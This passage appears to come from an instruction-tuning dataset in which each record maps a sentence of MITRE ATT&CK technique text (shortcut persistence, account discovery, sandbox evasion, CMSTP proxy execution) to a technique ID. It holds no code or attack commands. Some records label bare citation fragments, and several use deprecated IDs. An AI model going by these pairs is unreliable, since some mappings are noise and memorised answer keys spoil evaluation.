MITRE techniques contained in the text.", "input": "Adversaries may create or modify shortcuts that can execute a program during system boot or user login.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify shortcuts that can execute a program during system boot or user login. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence )", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also edit the target path or entirely replace an existing shortcut", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also edit the target path or entirely replace an existing shortcut ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "so their malware will be executed instead of the intended legitimate program.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: so their malware will be executed instead of the intended legitimate program. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shortcuts can also be abused to establish persistence by implementing other methods.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shortcuts can also be abused to establish persistence by implementing other methods. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.", "output": "T1547.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware. ### Response: T1547.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of open application windows.", "output": "T1010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of open application windows. ### Response: T1010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021)", "output": "T1010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) ### Response: T1010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)", "output": "T1010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020) ### Response: T1010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries typically abuse system features for this type of enumeration.", "output": "T1010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries typically abuse system features for this type of enumeration. ### Response: T1010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.", "output": "T1010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions. ### Response: T1010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", "output": "T1032", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. ### Response: T1032."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", "output": "T1032", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files. ### Response: T1032."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of email addresses and accounts.", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of email addresses and accounts. ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists) ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In on-premises Exchange and Exchange Online, the<code>Get-GlobalAddressList</code>", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In on-premises Exchange and Exchange Online, the<code>Get-GlobalAddressList</code> ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation:", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Black Hills Attacking Exchange MailSniper, 2016)", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Black Hills Attacking Exchange MailSniper, 2016) ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service.", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)", "output": "T1087.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List) ### Response: T1087.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**This technique has been deprecated and should no longer be used.", "output": "T1062", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated and should no longer be used. ### Response: T1062."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware.", "output": "T1062", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. ### Response: T1062."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Hypervisor)", "output": "T1062", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Hypervisor) ### Response: T1062."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It presents a virtual running environment to an operating system.", "output": "T1062", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It presents a virtual running environment to an operating system. ### Response: T1062."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An example of a common hypervisor is Xen.", "output": "T1062", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An example of a common hypervisor is Xen. ### Response: T1062."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system.", "output": "T1062", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. ### Response: T1062."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Myers 2007)", "output": "T1062", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Myers 2007) ### Response: T1062."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A malicious hypervisor of this nature could be used to persist on systems through interruption.", "output": "T1062", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A malicious hypervisor of this nature could be used to persist on systems through interruption. ### Response: T1062."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various means to detect and avoid virtualization and analysis environments.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various means to detect and avoid virtualization and analysis environments. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also search for VME artifacts before dropping secondary or additional payloads.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for VME artifacts before dropping secondary or additional payloads. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments.", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)).", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution.", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol)", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation:", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Joe Sec Nymaim)(Citation: Joe Sec Trickbot)", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time.", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec.", "output": "T1182", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. ### Response: T1182."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "output": "T1182", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. ### Response: T1182."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse CMSTP to proxy execution of malicious code.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse CMSTP to proxy execution of malicious code. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may supply CMSTP.exe with INF files infected with malicious commands.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may supply CMSTP.exe with INF files infected with malicious commands. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Twitter CMSTP Usage Jan 2018)", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Twitter CMSTP Usage Jan 2018) ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Twitter CMSTP Jan 2018)", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Twitter CMSTP Jan 2018) ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: GitHub Ultimate AppLocker Bypass 